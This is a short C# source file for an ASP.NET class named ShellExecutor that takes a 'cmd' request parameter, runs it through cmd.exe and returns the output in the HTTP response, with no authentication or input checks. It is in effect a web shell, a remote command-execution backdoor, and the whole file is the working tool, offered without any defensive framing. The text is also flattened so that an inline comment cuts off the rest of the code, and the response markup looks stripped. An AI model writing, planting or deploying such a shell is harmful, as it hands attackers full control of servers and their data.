using System; using System.Diagnostics; using System.Web; public class ShellExecutor { public static void ExecuteCommand(HttpRequest request, HttpResponse response) { string cmd = request.Params["cmd"]; if (!string.IsNullOrEmpty(cmd)) { var output = RunShellCommand(cmd); response.Write("
" + HttpUtility.HtmlEncode(output) + ""); } } private static string RunShellCommand(string command) { var process = new Process { StartInfo = new ProcessStartInfo { FileName = "cmd.exe", // Use "/bin/bash" on Linux Arguments = "/c " + command, RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = true, } }; process.Start(); string result = process.StandardOutput.ReadToEnd(); process.WaitForExit(); return result; } }